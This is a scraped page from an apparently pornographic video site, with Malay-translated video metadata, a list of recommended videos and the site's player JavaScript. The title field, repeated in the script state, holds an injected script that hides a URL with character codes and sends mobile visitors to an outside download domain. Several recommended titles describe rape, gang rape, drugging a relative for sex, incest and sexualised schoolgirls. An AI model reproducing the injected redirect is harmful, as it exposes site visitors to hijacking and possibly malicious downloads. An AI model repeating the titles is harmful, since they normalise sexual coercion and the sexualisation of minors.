</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,1,104); d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>“Abang Gen Z saya seorang yang pendiam…” Saya paksa dia hisap puting saya setiap hari OPPAI
“Abang Gen Z saya seorang yang pendiam…” Saya paksa dia hisap puting saya setiap hari OPPAI","site_id":0,"video_url":"https://2605.v155p.com/20260621/zxOfWguP/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMjY2OWIwYTdjZDVmZjY2ODdhN2Q2MTg0NjdlNWNlMWYuanBn.cache","duration":"02:28:35","actor":[],"lastmod":1783766805,"rating":"1.0","view_count":502,"description":"\"Abang Gen Z saya seorang yang pendiam...\" Dia menghisap putingnya setiap hari. OPPAI","tag":["generasi","adik lelaki","Laman Utama","setiap hari","untuk","Mengepam payudara","puting","puting"],"site_url":"177187","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["女优明星"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMjY2OWIwYTdjZDVmZjY2ODdhN2Q2MTg0NjdlNWNlMWYuanBn.cache","maker":"","table_name":"videos_155zy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"「Z世代的弟弟是家里蹲…」每天为了弟弟让他吸奶头 OPPAI","s_keywords":"「Z世代的弟弟是家里蹲…」每天为了弟弟让他吸奶头 OPPAI","s_description":"“Abang Gen Z saya seorang yang pendiam…” Saya paksa dia hisap puting saya setiap hari OPPAI","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMmQyYTk2ZDVhZmE1YjcxYzE4NDFmNmYyNWRhNjNiYjEuanBn.cache","vod_id":19016732,"title":"SW642 Gadis sekolah menengah yang saya lihat setiap pagi dengan stokin setinggi paras lututnya sangat comel, ia mengeraskan zakar saya. Dia menggembungkan pipinya dan berkata dengan marah, \"Abang, awak seorang yang cabul.\" Tetapi dia cepat-cepat memandang saya dengan mata yang berkaca-kaca dan berubah menjadi syaitan tsundere. 8 Mizuki Nagisa.","lastmod":"2025-03-24","duration":"03:39:58","url":"/play/19016732.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMjEvNDA3OTRjN2U3YjAxOTVkMjFjOTlmMjUwZDQ2NTUzZTcuanBn.cache","vod_id":19058902,"title":"AI - Janice Man - Wanita matang suka adik lelaki lelaki yang lebih muda","lastmod":"2025-10-20","duration":"20:01","url":"/play/19058902.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNDMwNjE2NzFlMmE0YTIwNThkODY3MWRiOTJhNmQ3NWMuanBn.cache","vod_id":19141122,"title":"Setiap hari, dia akan merangsang putingnya… Perkembangan puting seorang wanita pejabat secara beransur-ansur menjadi zon erotiknya. Pengarang: Yua Kawaei FKRU-015","lastmod":"2026-02-02","duration":"02:10:03","url":"/play/19141122.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZDYwNGVhYmVhZjI4MDQ1MmZjOTA4YmMyMjkyN2U2NTMuanBn.cache","vod_id":18958360,"title":"Pasangan yang suka bermain-main itu, ditutup matanya, terlibat dalam seks oral, seks tekak dalam-dalam dan pelbagai aksi seksual untuk memenuhi permintaan peminat mereka, termasuk seks oral, seks tekak dalam-dalam dan pelbagai posisi seksual seperti menunggang di atas satu sama lain.","lastmod":"2025-03-22","duration":"00:53:29","url":"/play/18958360.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOGI2NDMzZDAxYjU3MDJmZjI4ZGNmZDczNWI3Y2YwZjQuanBn.cache","vod_id":18951487,"title":"Pakar itu sedang berseronok melakukan hubungan seks dengan rakan sekerja wanitanya yang cantik di rumah, yang mempunyai kaki panjang dan memakai stoking hitam.","lastmod":"2025-03-22","duration":"00:18:44","url":"/play/18951487.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYWFmMzQyYmZlN2ZjNjdmM2QyNzgzZmI0NzUzNjllZDIuanBn.cache","vod_id":19154876,"title":"Seorang ibu mertua yang tidak dapat menahan zakar besar menantunya setiap hari. (Yoshizawa Yuki, Madonna)","lastmod":"2026-04-24","duration":"02:31:07","url":"/play/19154876.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZWQ3ZDM0OWQzMzIwYjJlOTFmMDlhNjlkNzZjNzVmOWQuanBn.cache","vod_id":18983741,"title":"SW-146 Sumbang mahram Fantasi! Kakak-kakak saya menjaga zakar saya dengan penuh kasih sayang, dan setiap hari apabila mereka melihat skirt mini dan seluar dalam saya, zakar saya akan tegang, sambil mereka merahsiakannya daripada keluarga saya.","lastmod":"2025-12-14","duration":"01:59:49","url":"/play/18983741.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMjU1NmU1ZWRlNjkzYTJjZmQyNTBhOWNjOGU2ZjRlODguanBn.cache","vod_id":19013296,"title":"BLK436 Pengajaran luar kampus NTR terbalik: Tinggal di bilik yang sama dengan seorang pelajar wanita yang angkuh dan seksi untuk rawatan perubatan... Nagisa Mitsuki.","lastmod":"2025-03-24","duration":"01:59:58","url":"/play/19013296.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOWVlNWVlZTI5Yzk0YmMyNDdhYmM0ZDE0YjdmMTI2NGIuanBn.cache","vod_id":18993266,"title":"[Pai Buah] Isteri saya telah menjadi alat seks untuk askar Jepun.","lastmod":"2025-03-23","duration":"12:20","url":"/play/18993266.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA3MTUvMTI2N2I3NDIzODNkNDk5MDc1NjE4MjI0YjcxNzE3M2IuanBn.cache","vod_id":19042984,"title":"DVAJ685 Saya memberikan titisan afrodisiak kepada kakak ipar saya setiap hari, dan farajnya menjadi semakin terangsang. Saya tidak dapat menahan diri daripada bercinta dengannya, dan dia tanpa sedar memusingkan pinggulnya.","lastmod":"2025-07-14","duration":"02:17:44","url":"/play/19042984.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjUzODE5N2QxNTdkZjkwNjI3OWRhMzdhMWYwMjgyMzIuanBn.cache","vod_id":19007810,"title":"JUY842 Kisah NTR seorang pakcik yang terkurung dan kejutan yang disebabkan oleh cintanya yang terpendam terhadap isterinya ~Ayaka Makimura.","lastmod":"2025-03-24","duration":"01:58:54","url":"/play/19007810.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMDBjMGI3ODNiNDI0ZjhmMjE1NjE2OGU3NThkNmQ1ZWMuanBn.cache","vod_id":19137043,"title":"Caribbeancom 062025-001 Seorang kakak telah dirogol selama 10 hari ketika cuba melangsaikan hutang abangnya.","lastmod":"2026-01-06","duration":"01:01:22","url":"/play/19137043.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MjYvMTJjNTFkNGMxMGI3YTIzMzYwNDllZmVhNTZiNDc1MDguanBn.cache","vod_id":19054316,"title":"Cabaran Mandi Tuala Lelaki! Seorang wanita bujang yang cantik dari sebuah pekan air panas menjalankan misi nakal di rumah mandian lelaki untuk mendapatkan hadiah! ? Pelakon tidak dikenali HSODA054","lastmod":"2025-09-25","duration":"03:34:20","url":"/play/19054316.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly9pYy4xNTUyNTAyMTQudG9wLzIwMjYwMjI1L1l0bmtqRVpTLzEuanBn.cache","vod_id":19145455,"title":"Saya berkahwin dengan sebuah kampung yang jarang penduduknya di Pulau Imamatsu, dan kini saya dirogol beramai-ramai setiap hari oleh penduduk kampung di pulau itu yang mempunyai zakar yang sangat besar. JUR-548","lastmod":"2026-02-26","duration":"02:11:32","url":"/play/19145455.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMzU5OTViZDllY2QxNjkxNjIwODI3YmRhMmZiODhkNzEuanBn.cache","vod_id":18983661,"title":"[Sarikata Bahasa Cina] HMN-433 Ibu saya berkahwin semula dengan pengganggu kereta api dari zaman pelajar saya. Sejak hari itu, saya dilayan seperti haiwan peliharaan beruniform yang patuh setiap hari.","lastmod":"2025-03-23","duration":"02:30:10","url":"/play/18983661.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA3MDYvZjBlNDU2YmM3OTIzM2EwMzQ5NTc0MGZhYjcwMzMzODguanBn.cache","vod_id":19041585,"title":"SMOK015 [Menelan Gangguan Seksual] Semasa kerja lebih masa, bersendirian di pejabat setiap hari, saya dipaksa minum air mani bos pertengahan umur saya yang keterlaluan.","lastmod":"2025-07-05","duration":"02:38:02","url":"/play/19041585.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTExMTkvMWU4NmRlODg1ODBlZTQxNjU2ODFmYmRmNTdmNzEwNmIuanBn.cache","vod_id":19063255,"title":"Isteri adik lelaki itu, yang sentiasa menolak rayuannya, terangsang dengan jilatan melekit vulvanya dan kehilangan keperawanannya!! (Oikawa Umi, AQSH_118)","lastmod":"2025-12-14","duration":"02:00:13","url":"/play/19063255.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDM1NGI5M2VjMDdkNWRlODUwN2Y3ODdkNGY2YTI1MDMuanBn.cache","vod_id":18971347,"title":"VOSS-122 Tolonglah wahai isteri dan ibu saya, curilah air mani pekat yang saya kumpulkan daripada sebulan berpantang supaya awak boleh hamil!","lastmod":"2025-03-23","duration":"01:30:14","url":"/play/18971347.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTNiMThlNWU5MDhjMGFkMmJmZTFlNDVkM2EzYmUzMWEuanBn.cache","vod_id":18923938,"title":"Seorang gadis cantik dan muda bernama [Yu'er] sedang datang haid dan sedang melakukan seks oral kepada teman lelakinya. Susuk tubuhnya yang ramping dan geseran putingnya sangat memikat dan menggoda. Jangan terlepas jika anda menyukainya!","lastmod":"2025-12-14","duration":"00:36:04","url":"/play/18923938.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYjM5ZmM4OTFhNTllNDUyZWQ5OGFhM2ViYzM0ZTliMzYuanBn.cache","vod_id":19142043,"title":"\"Hari ini istimewa! Saya akan berdandan untuk awak, jadi belajarlah bersungguh-sungguh!\" Lakonan tutor yang cantik itu terlalu erotik! (HUNTC-382)","lastmod":"2026-02-07","duration":"02:54:47","url":"/play/19142043.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNzc1YjgyMTM2MTEyYWIyZGQ2MTMwOWE5NzhiMTVmZmQuanBn.cache","vod_id":19151499,"title":"Sebuah bilik untuk pasangan bertukar pasangan; kontrak fizikal untuk wang; lelaki berkumpul di atas badan yang matang. PFAS-042","lastmod":"2026-04-03","duration":"01:49:33","url":"/play/19151499.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly8xNTI2MDMwOXAudG9wLzIwMjYwMzE0LzlqdG9SM0F5LzEuanBn.cache","vod_id":19148502,"title":"Abang sulung, adik lelaki, dan kekasih zaman kanak-kanak mereka yang berdada besar, untuk menyelesaikan cinta tiga segi mereka, mereka bertiga melakukan hubungan seks secara liar selama empat hari dan tinggal bersama. (SEKS FNS-164)","lastmod":"2026-03-15","duration":"02:30:11","url":"/play/19148502.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODY2OWRmNTZkMjlmNWNhMTMyOGNlZjU1ZmZjZGQ5MmEuanBn.cache","vod_id":18934529,"title":"[Sarikata Cina] DTT-050 Seorang wanita berusia 33 tahun yang bergaya dan sudah berkahwin yang bekerja di Jingu Gaien, dewi Takeuchi Natsuki yang seksi dan langsing, mendedikasikan penampilan sulung AVnya untuk membalas dendam terhadap suaminya yang curang!!","lastmod":"2025-12-14","duration":"02:00:22","url":"/play/18934529.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMTUvNGM4NzM2Yjk2YTBkZGQ4MzkyMzg1ZDMyODY5MDZjNjguanBn.cache","vod_id":19057893,"title":"Melancap adalah untuk mencari keseronokan! Tarian klimaks di mana badan kekal diam sepenuhnya! 4 daripada 14 bintang: Akira Shinmura, Yuko Shiraki, Mari Koharu, dll. CEAD653","lastmod":"2025-10-14","duration":"03:18:12","url":"/play/19057893.html"}]},
videoTitle: '</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,1,104); d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>“Abang Gen Z saya seorang yang pendiam…” Saya paksa dia hisap puting saya setiap hari OPPAI',
language: 'ms',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Pautan disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Pautan disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Pautan disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}